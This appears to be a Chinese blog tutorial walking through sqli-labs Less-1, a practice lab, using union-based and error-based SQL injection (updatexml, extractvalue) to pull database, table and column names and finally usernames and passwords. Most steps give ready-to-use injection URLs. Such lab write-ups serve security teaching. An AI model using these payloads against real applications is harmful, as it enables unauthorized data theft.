sql注入之报错注入;这里用到的是sqli-labs/Less-1;也就是第一关,利用报错信息注入;

本文详细介绍了SQL注入的检测与利用方法,包括通过双引号判断字符型注入、ORDER BY检测字段数、联合查询获取数据库信息、利用错误报废能力探测数据等。还展示了如何通过UPDATXML和EXTRACTVALUE函数进行数据查询,以及如何规避分页限制获取数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、这里简单放一个链接,记得连好数据库,配置好phpstudy环境 

sqli-labs.zip - 蓝奏云文件大小:3.5 M|https://wwu.lanzoum.com/iP8Lx09p850dsqli-labssqli-labs.zip - 蓝奏云

2、这里一切ok后

 

 

 3、浅试?id=1;不报错,有这个字段

4、双引号正常,单引号报错,说明单引号闭合成功,存在字符型注入漏洞

 

 

5、 order by 判断出字段数为3;--+将后面内容注释掉;“'”单引号将先前闭合掉;

 ?id=1' order by 3 --+

6、这里注意,插件会转义,所一这次在URL地址栏直接输入

 

 

 7、使用联合查询,查数据库,让前面的id值为假,直接执行后面语句;发现回显在第二和第三位置

8、查询简单信息

version()查询数据库版本
database()查询当前数据库  security
user()查询当前用户名

 

 

9、利用报错查询查至数据;这里php连接数据库(mysql)时,由于使用了mysql_error 函数进行报错,所以可以利用;

10、利用 联合查询第三个字段查询到表名

?id=1111' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- +

 11、后台未过滤或者使用了报错函数,这里就可以用来进行注入

extractvalue():利用报错进行注入,'~'不是xml实体,所以会报错

concat(字符串1,字符串2):用于连接两个字符串(可以称为拼接)

?id=1' and extractvalue(1,concat('~',database())) -- + 

 这里使用updatexml(,,)进行报错查询

updatexml('anything',concat('~',(sql语句)),'anything')

?id=1' and updatexml(1,concat('~',database()),1) -- +

 

 12、查询表名

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' )),1) -- +

13、查询字段

?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) -- +

14、查询数据 

?id=1' and updatexml(1,concat('~',(select group_concat(id,username,password) from users )),1) -- +

 

 15、limit 分段显示会域group_concat一段显示冲突,这里注意

limit 0,1   -->从0个元素开始截取截取一个;只能查询一个元素

这里查询的是id;

?id=1' and updatexml(1,concat('~',(select id from users limit 1,1)),1) -- +

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值